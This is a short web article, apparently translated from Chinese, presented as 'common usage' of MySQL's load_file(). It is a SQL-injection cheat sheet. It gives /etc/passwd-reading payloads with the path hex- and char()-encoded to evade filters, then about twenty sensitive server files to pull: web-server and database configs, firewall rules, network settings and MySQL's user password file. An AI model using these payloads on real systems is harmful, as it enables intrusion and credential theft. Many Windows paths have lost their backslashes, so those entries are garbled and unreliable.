Home  >  Article  >  Database  >  Common usage of loadfile() in Mysql

Common usage of loadfile() in Mysql

高洛峰
高洛峰Original
2016-12-02 14:20:171904browse

1. replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
The above two are to view the complete display code in a PHP file. Sometimes some characters are not replaced, such as "<" and replaced with "space", and the web page is returned. The code cannot be viewed.

3. load_file(char( 47)) You can list the FreeBSD and Sunos system root directories

4. /etc/httpd/conf/httpd.conf or /usr/local/apche/conf/httpd.conf View the linux APACHE virtual host configuration file

5. c:Program FilesApache GroupApacheconf httpd.conf or C:apacheconf httpd.conf View the WINDOWS system apache file

6, c:/Resin-3.0.14/conf/resin.conf View the resin file configuration information of the website developed by jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf View the JSP virtual host configured in the linux system

8. d:APACHEApache2confhttpd.conf

9. C:Program Filesmysqlmy. ini

10, ../themes/darkblue_orange/layout.inc.php phpmyadmin explosion path

11, c:windowssystem32inetsrvMetaBase.xml View the virtual host configuration file of IIS

12, /usr/local/resin-3.0.22 /conf/resin.conf View the RESIN configuration file for 3.0.22

13, /usr/local/resin-pro-3.0.22/conf/resin.conf Same as above

14, /usr/local/app/apache2 /conf/extra/httpd-vhosts.conf APASHE virtual host view

15, /etc/sysconfig/iptables This view firewall policy

16, usr/local/app/php5/lib/php.ini PHP equivalent settings

17, /etc/my.cnf MYSQL configuration file

18, /etc/redhat-release Red Hat system version

19, C:mysqldatamysqluser.MYD User password existing in the MYSQL system

20, /etc/ sysconfig/network-scripts/ifcfg-eth0 View IP.

21, /usr/local/app/php5/lib/php.ini //PHP related settings

22, /usr/local/app/apache2/conf/ extra/httpd-vhosts.conf //Virtual website settings

23, c:Program FilesRhinoSoft.comServ-USerUDaemon.ini

24, c:windowsmy.ini


Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn